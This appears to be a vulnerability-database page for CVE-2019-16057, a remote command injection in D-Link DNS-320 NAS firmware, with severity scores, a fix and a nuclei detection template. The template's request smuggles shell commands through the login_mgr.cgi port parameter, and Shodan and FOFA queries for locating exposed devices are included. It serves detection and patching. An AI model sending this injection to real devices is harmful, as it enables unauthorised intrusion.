HexBrain

Browse / CVEs / CVE-2019-16057

CVE-2019-16057· dlink / dns-320 firmware· CWE-78

D-Link DNS-320 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-04-15; known to be used by ransomware.

criticalseverity
9.8CVSS score
86.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

The login_mgr.cgi script in D-Link DNS-320 through 2.05.B10 is vulnerable to remote command injection.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data loss, and potential compromise of the affected device.

Fix

Apply the latest firmware update provided by D-Link to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/login_mgr.cgi?C1=ON&cmd=login&f_type=1&f_username=admin&port=80%7Cpwd%26id&pre_pwd=1&pwd=%20&ssl=1&ssl_port=1&username=
Positive when: status_code == 200 and contains_all(body, "uid=", "gid=", "pwd&id")

Run it with nuclei: nuclei -id CVE-2019-16057 -u <target>

The full check
id: CVE-2019-16057

info:
  name: D-Link DNS-320 - Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    The login_mgr.cgi script in D-Link DNS-320 through 2.05.B10 is vulnerable to remote command injection.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data loss, and potential compromise of the affected device.
  remediation: |
    Apply the latest firmware update provided by D-Link to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16057
    - https://web.archive.org/web/20201222035258im_/https://blog.cystack.net/content/images/2019/09/poc.png
    - https://www.ftc.gov/system/files/documents/cases/dlink_proposed_order_and_judgment_7-2-19.pdf
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
    - https://github.com/Z0fhack/Goby_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-16057
    cwe-id: CWE-78
    epss-score: 0.86491
    epss-percentile: 0.9974
    cpe: cpe:2.3:o:dlink:dns-320_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dlink
    product: dns-320_firmware
    shodan-query:
      - html:"ShareCenter"
      - http.html:"sharecenter"
    fofa-query: body="sharecenter"
  tags: cve,cve2019,lfi,rce,kev,sharecenter,dlink,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/login_mgr.cgi?C1=ON&cmd=login&f_type=1&f_username=admin&port=80%7Cpwd%26id&pre_pwd=1&pwd=%20&ssl=1&ssl_port=1&username="

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "uid=", "gid=", "pwd&id")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from